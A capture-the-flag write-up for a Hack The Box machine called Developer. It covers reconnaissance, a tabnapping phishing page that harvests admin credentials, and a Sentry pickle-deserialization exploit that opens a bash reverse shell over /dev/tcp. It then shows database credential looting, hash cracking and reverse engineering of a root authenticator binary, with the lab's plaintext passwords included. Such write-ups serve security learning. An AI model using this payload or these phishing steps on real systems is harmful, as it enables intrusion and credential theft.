We will start as usual with a quick scan:

Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-01 13:29 EET
Nmap scan report for
Host is up (0.068s latency).
Not shown: 998 closed tcp ports (reset)
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 36:aa:93:e4:a4:56:ab:39:86:66:bf:3e:09:fa:eb:e0 (RSA)
|   256 11:fb:e9:89:2e:4b:66:40:7b:6b:01:cf:f2:f2:ee:ef (ECDSA)
|_  256 77:56:93:6e:5f:ea:e2:ad:b0:2e:cf:23:9d:66:ed:12 (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://developer.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: Host: developer.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.53 seconds

We can create an account and see some challenges uploaded to: http://developer.htb/media/. Here there is a file called phished_list.zip, which contains the following row:

61  Ruddie  Moehle  admin@developer.htb DHTB{H1dD3N_C0LuMn5_FtW}    Intuitive even-keeled concept

But it seems like it is for a challenge, so I just solved unintendedly another challenge hahaha.

We can visit admin profile at the following page: http://developer.htb/profile/admin/

Using gobuster, we can see any dir that contains admin is redirected to the admin/ page.

/fileadmin            (Status: 301) [Size: 0] [--> /fileadmin/]
/dashboard            (Status: 301) [Size: 0] [--> /dashboard/]
/sysadmin             (Status: 301) [Size: 0] [--> /sysadmin/]
/ur-admin             (Status: 301) [Size: 0] [--> /ur-admin/]
/wp-admin             (Status: 301) [Size: 0] [--> /wp-admin/]
/phpmyadmin           (Status: 301) [Size: 0] [--> /phpmyadmin/]
/webadmin             (Status: 301) [Size: 0] [--> /webadmin/]
/bigadmin             (Status: 301) [Size: 0] [--> /bigadmin/]
/sshadmin             (Status: 301) [Size: 0] [--> /sshadmin/]
/useradmin            (Status: 301) [Size: 0] [--> /useradmin/]
/about_admin          (Status: 301) [Size: 0] [--> /about_admin/]
/staradmin            (Status: 301) [Size: 0] [--> /staradmin/]
/directadmin          (Status: 301) [Size: 0] [--> /directadmin/]
/pgadmin              (Status: 301) [Size: 0] [--> /pgadmin/]

It seems like there is some way to submit writeups. Once we have submited the flag of phished_list, we can now submit a writeup in the challenge.

Your walkthroughs will be on your profile page and public profile page. Admins will check the walkthrough as soon as they can and reserve the right to delete them where necessary.

Admins will check the walkthrough… If we submit a local http server as writeup, we can see a connection from the admin:

❯ python -m http.server 8080
Serving HTTP on port 8080 ( ... - - [01/Dec/2021 14:07:53] "GET /scan.txt HTTP/1.1" 200 - - - [01/Dec/2021 14:07:53] code 404, message File not found - - [01/Dec/2021 14:07:53] "GET /favicon.ico HTTP/1.1" 404 -

Getting the foothold

The link is inserted in your profile as:

<a id="walkthrough_link" href="" target="_blank"
  >Phished List</a

A link with target="_blank" without rel="noopener noreferrer" can lead to tabnapping. Tabnapping allows the visited page in the new tab to change the page in the last tab.

This might seem easy to identify, but if you are not paying attention, the page you were in might be replaced to a phishing page. In this case, we could try to phish admin credentials by phishing the login page of the website (as if the admin lost its session).

I simply used Google Chrome to download the login page and the resources needed; setoolkit is not working at this moment.

I removed the error message from the login, updated the method of the form to get (to easily see the credentials) and pointed the action to another port (so I can see the credentials in another terminal).

<form class="form-signin" action="//" method="get"></form>

Then I created writeup.html which will perform the tabnapping.

    if (window.opener)
    if (window.parent != window)

Then we can upload the writeup as this file in our local server. We will see traffic from the server pointing to the fake login page (it worked).

❯ python -m http.server 8080
Serving HTTP on port 8080 ( ... - - [01/Dec/2021 18:51:33] "GET /writeup.html HTTP/1.1" 200 - - - [01/Dec/2021 18:51:33] "GET /login.html HTTP/1.1" 200 - - - [01/Dec/2021 18:51:34] code 404, message File not found - - [01/Dec/2021 18:51:34] "GET /static/css/bootstrap.min.css HTTP/1.1" 404 -

And now you can see in the other terminal the credentials admin:SuperSecurePassword@HTB2021:

❯ python -m http.server 8081
Serving HTTP on port 8081 ( ... - - [01/Dec/2021 18:51:35] "GET /?csrfmiddlewaretoken=DNASuXuPkU07d5eNEABgOZsAzDPk3tS3BYJrWmTahQdvAUIYHsStaSpBQvSVTGMs&login=admin&password=SuperSecurePassword%40HTB2021 HTTP/1.1" 200 -

We can login at /admin with those credentials, and we will be able to see the administration page.

In the Sites page, there is a list of domains. There is one subdomain: developer-sentry.developer.htb. Let’s visit it and see what it is about.

Oh no, there is a new login page, but the credentials we got are not working. It is running Sentry 8.0.0, which doesn’t seem vulnerable unless we are logged in.

I tried to check which users existed with the recover the password option, but neither admin or the ones registered on the other page work.

We know the name of the admin: Jacob Taylor. Maybe trying all combinations of name or surname and domains developer.htb? After some time, I could simply login with jacob@developer.htb and the same password.

I found an exploit for version 8.2.0, so we could try it:

OffSec’s Exploit Database Archive
Sentry 8.2.0 - Remote Code Execution (RCE) (Authenticated).. webapps exploit for Python platform
It seems like the auditlogentry is running, so we might be able to exploit it: http://developer-sentry.developer.htb/admin/sentry/auditlogentry/

The exploit doesn’t work with python3, I’m going to try to use the one in the pdf linked:

from cPickle import dumps
import subprocess
from base64 import b64encode
from zlib import compress
from shlex import split

class PickleExploit(object):
        def __init__(self, command_line):
                self.args = split(command_line)
        def __reduce__(self):
                return (subprocess.Popen, (self.args,))

print b64encode(compress(dumps(PickleExploit('/bin/bash -c "bash -i >& /dev/tcp/ 0>&1"'))))

If we update a log entry with the output of the script, we will receive a connection in netcat. And we will be into www-data!

Getting the user flag

We have to get to user mark or karl.

If we look for the configuration of the page:

www-data@developer:~/developer_ctf/developer_ctf$ cat settings.py

We can see some credentials for postgresql.

    'default': {
        'ENGINE': 'django.db.backends.postgresql',
        'NAME': 'platform',
        'USER': 'ctf_admin',
        'PASSWORD': 'CTFOG2021',
        'HOST': 'localhost',
        'PORT': '',

We can connect to the database with them.

psql -h localhost -d platform -U ctf_admin -W
Password for user ctf_admin: CTFOG2021

But this gives us access to the CTF page, not the sentry one which contained a user called karl. Also, I couldn’t login with any registered user, so I assume they are not privileged ones.

So I will try to enter the sentry database.

   Name    |  Owner   | Encoding |   Collate   |    Ctype    |   Access privileges
 platform  | postgres | UTF8     | en_GB.UTF-8 | en_GB.UTF-8 |
 postgres  | postgres | UTF8     | en_GB.UTF-8 | en_GB.UTF-8 |
 sentry    | postgres | UTF8     | en_GB.UTF-8 | en_GB.UTF-8 |
 template0 | postgres | UTF8     | en_GB.UTF-8 | en_GB.UTF-8 | =c/postgres          +
           |          |          |             |             | postgres=CTc/postgres
 template1 | postgres | UTF8     | en_GB.UTF-8 | en_GB.UTF-8 | =c/postgres          +
           |          |          |             |             | postgres=CTc/postgres

We can change database like this:

platform=> \c sentry
\c sentry
Password: CTFOG2021
sentry=> \dt

We don’t have reading permissions on the tables. We may find other login credentials for the sentry page. If we look for the word sentry in all the machine, we find the following:


In the last one, we find the following:

    'default': {
        'ENGINE': 'sentry.db.postgres',
        'NAME': 'sentry',
        'USER': 'sentry',
        'PASSWORD': 'SentryPassword2021',
        'HOST': 'localhost',
        'PORT': '',

Quite secure password, we can try to login with it:

psql -h localhost -d sentry -U sentry -W
Password for user sentry: SentryPassword2021

And we can get the hash of karl.

sentry=# select * from auth_user;


We can decrypt it using hashcat. It will automatically detect it as a django hash. The decrypted password is insaneclownposse.


Then you can simply swith user to karl:

su karl

And we will be inside of user! You can now take the user flag.

You can also login via the ssh service, so we get a better shell.

Privilege escalation

We can check for privileged calls:

sudo -l

And we will see an executable that can be ran as root.

Matching Defaults entries for karl on developer:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User karl may run the following commands on developer:
    (ALL : ALL) /root/.auth/authenticator

If we run it we get prompt for a pasword:

Welcome to TheCyberGeek's super secure login portal!
Enter your password to access the super user:

This may be like a reverse engineer challenge.

authenticator: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dec8c0adbc231a7465e5df021c1f9e6695fe6a2f, for GNU/Linux 3.2.0, with debug_info, not stripped

Looking at the strings command output, it looks like it is a rust executable. I will download the file with scp for further inspection.

die shows it is not compressed, so we may be able to just inspect it as it is.

We can see a symbol of a rust function: crypto::aes::ctr. If you look at the documentation, this are its parameters:

pub fn ctr(
    key_size: KeySize,
    key: &[u8],
    iv: &[u8]
) -> Box<SynchronousStreamCipher + 'static>

In this piece of code, we can identify these two vars as the key and iv parameters. If you keep executing the code (and looking at the source), you can see that it is using a length of 128.

.text:000055D554199916 lea     rsi, [rsp+278h+var_118]         ; key
.text:000055D55419991E lea     rcx, [rsp+278h+var_108]         ; iv
.text:000055D554199926 mov     edx, 10h
.text:000055D55419992B mov     r8d, 10h
.text:000055D554199931 mov     edi, 0                          ; ctr(keySize, key, iv)
.text:000055D554199936 call    cs:_ZN6crypto3aes3ctr17h2e946f13694abc7dE_ptr ; crypto::aes::ctr::h2e946f13694abc7d

This is the key:

[stack]:00007FFFDE1B2390 db 0A3h
[stack]:00007FFFDE1B2391 db 0E8h
[stack]:00007FFFDE1B2392 db  32h ; 2
[stack]:00007FFFDE1B2393 db  34h ; 4
[stack]:00007FFFDE1B2394 db  5Ch ; \
[stack]:00007FFFDE1B2395 db  79h ; y
[stack]:00007FFFDE1B2396 db  91h
[stack]:00007FFFDE1B2397 db  61h ; a
[stack]:00007FFFDE1B2398 db  9Eh
[stack]:00007FFFDE1B2399 db  20h
[stack]:00007FFFDE1B239A db 0D4h
[stack]:00007FFFDE1B239B db  3Dh ; =
[stack]:00007FFFDE1B239C db 0BEh
[stack]:00007FFFDE1B239D db 0F4h
[stack]:00007FFFDE1B239E db 0F5h
[stack]:00007FFFDE1B239F db 0D5h

The formated key is the following:

A3 E8 32 34 5C 79 91 61 9E 20 D4 3D BE F4 F5 D5

And this is the IV:

[stack]:00007FFFDE1B23A0 db  76h ; v
[stack]:00007FFFDE1B23A1 db  1Fh
[stack]:00007FFFDE1B23A2 db  59h ; Y
[stack]:00007FFFDE1B23A3 db 0E3h
[stack]:00007FFFDE1B23A4 db 0D9h
[stack]:00007FFFDE1B23A5 db 0D2h
[stack]:00007FFFDE1B23A6 db  95h
[stack]:00007FFFDE1B23A7 db  9Ah
[stack]:00007FFFDE1B23A8 db 0A7h
[stack]:00007FFFDE1B23A9 db  98h
[stack]:00007FFFDE1B23AA db  55h ; U
[stack]:00007FFFDE1B23AB db 0DCh
[stack]:00007FFFDE1B23AC db    6
[stack]:00007FFFDE1B23AD db  20h
[stack]:00007FFFDE1B23AE db  81h
[stack]:00007FFFDE1B23AF db  6Ah

The formated IV is the following:

76 1F 59 E3 D9 D2 95 9A A7 98 55 DC 06 20 81 6A

Also, if you continue executing until the symmetric encryption, another string appears in the stack:

[heap]:0000559BE21CAA10 db 0FEh
[heap]:0000559BE21CAA11 db  1Bh
[heap]:0000559BE21CAA12 db  25h ; %
[heap]:0000559BE21CAA13 db 0F0h
[heap]:0000559BE21CAA14 db  80h
[heap]:0000559BE21CAA15 db  6Ah ; j
[heap]:0000559BE21CAA16 db  97h
[heap]:0000559BE21CAA17 db 0CAh
[heap]:0000559BE21CAA18 db  78h ; x
[heap]:0000559BE21CAA19 db  80h
[heap]:0000559BE21CAA1A db 0FDh
[heap]:0000559BE21CAA1B db  58h ; X
[heap]:0000559BE21CAA1C db 0FCh
[heap]:0000559BE21CAA1D db  5Ch ; \
[heap]:0000559BE21CAA1E db  20h
[heap]:0000559BE21CAA1F db  23h ; #
[heap]:0000559BE21CAA20 db  6Ch ; l
[heap]:0000559BE21CAA21 db 0A2h
[heap]:0000559BE21CAA22 db 0DBh
[heap]:0000559BE21CAA23 db 0D0h
[heap]:0000559BE21CAA24 db 0E5h
[heap]:0000559BE21CAA25 db    2
[heap]:0000559BE21CAA26 db 0B5h
[heap]:0000559BE21CAA27 db 0FAh
[heap]:0000559BE21CAA28 db 0EBh
[heap]:0000559BE21CAA29 db 0C0h
[heap]:0000559BE21CAA2A db 0AFh
[heap]:0000559BE21CAA2B db  3Ah ; :
[heap]:0000559BE21CAA2C db  9Fh
[heap]:0000559BE21CAA2D db  27h ; '
[heap]:0000559BE21CAA2E db  15h
[heap]:0000559BE21CAA2F db  2Ch ; ,

Which formatted is the following:

FE 1B 25 F0 80 6A 97 CA 78 80 FD 58 FC 5C 20 23 6C A2 DB D0 E5 02 B5 FA EB C0 AF 3A 9F 27 15 2C

If we use this 3 hex strings in cyberchef + AES Decrypt + Mode: CTR, we get the key: RustForSecurity@Developer@2021:). We can now use the authenticator executable:

Welcome to TheCyberGeek's super secure login portal!
Enter your password to access the super user:
You have successfully authenticated

We will be prompted for a SSH public key. We can generate one locally and copy the .pub file.

Enter your SSH public key in now:
You may now authenticate as root!

Then it will be added to /root/.ssh/authenticated_keys, so we can now login with ssh and get the root flag!